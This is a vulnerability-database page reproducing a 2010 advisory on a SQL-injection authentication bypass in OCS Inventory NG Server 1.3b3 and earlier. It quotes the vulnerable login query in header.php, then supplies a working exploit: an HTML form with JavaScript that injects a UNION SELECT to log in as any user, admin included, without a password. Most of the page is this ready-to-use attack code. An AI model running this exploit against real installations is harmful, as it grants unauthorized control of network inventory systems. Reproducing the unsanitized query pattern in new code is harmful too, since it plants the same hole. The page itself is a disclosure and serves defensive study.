Lucene search
K

OCS Inventory NG Server 1.3b3 Remote Authentication Bypass

🗓️ 30 Jan 2010 00:00:00Reported by Nicolas DEROUETType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

OCS Inventory NG Server 1.3b3 Remote Authentication Bypass via SQL injection in header.ph

Code
`OCS Inventory NG Server <= 1.3b3 (login) Remote Authentication Bypass  
  
  
Software : Open Computer and Software (OCS) Inventory NG  
Download : http://www.ocsinventory-ng.org/  
Discovered by : Nicolas DEROUET (nicolas.derouet[gmail]com)  
Version : 1.03-beta3 and prior  
Impact : Critical  
Remote : Yes (No authentication is needed)  
  
  
== Description ==  
  
Open Computer and Software (OCS) Inventory Next Generation (NG) is an  
application designed to help a network or system administrator keep track  
of the computers configuration and software that are installed on the network.  
  
The vulnerability is a sql injection which exists in header.php file.  
Attacker could pass a special sql string which can used to create/modify  
information stored in the database or authenticated in any user.  
  
script : header.php  
  
102 if(isset($_POST["login"])) {  
103 $req="SELECT id, accesslvl, passwd FROM operators WHERE  
id='".$_POST["login"]."'";  
104 $res=mysql_query($req,$_SESSION["readServer"]) or die(mysql_error());  
105  
106 if($row=@mysql_fetch_object($res))  
107 {  
108 // DL 25/08/2005  
109 // Support new MD5 encrypted password or old clear password  
for login only  
110 if (($row->passwd != md5( $_POST["pass"])) and  
111 ($row->passwd != $_POST["pass"])) {  
  
== Exploit ==  
  
<script>  
function inject()  
{  
document.getElementById('log').action =  
document.getElementById('ocsreports').value + 'index.php';  
sql = "0' UNION SELECT id, accesslvl,  
'a181b4673216ad247a0f78066a9646e1' FROM operators WHERE id='"  
document.getElementById('login').value = sql +  
document.getElementById('user').value;  
document.getElementById('pass').value = "inject";  
}  
</script>  
<form name="log" id="log" action="" method="post">  
<table border="0" width="450px">  
<tr>  
<td><b>OCSReports :</b></td>  
<td><input type="text" id="ocsreports" size="40"  
value="http://127.0.0.1/ocsreports/" /></td>  
</tr>  
<tr>  
<td><b>Login :</b></td>  
<td><input type="text" id="user" size="40" value="admin" /></td>  
</tr>  
<tr>  
<td><input type="hidden" name="login" id="login" />  
<input type="hidden" name="pass" id="pass" /></td>  
<td><input type="submit" name="subLogin" onclick="inject();"></td>  
</tr>  
</table>  
</form>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation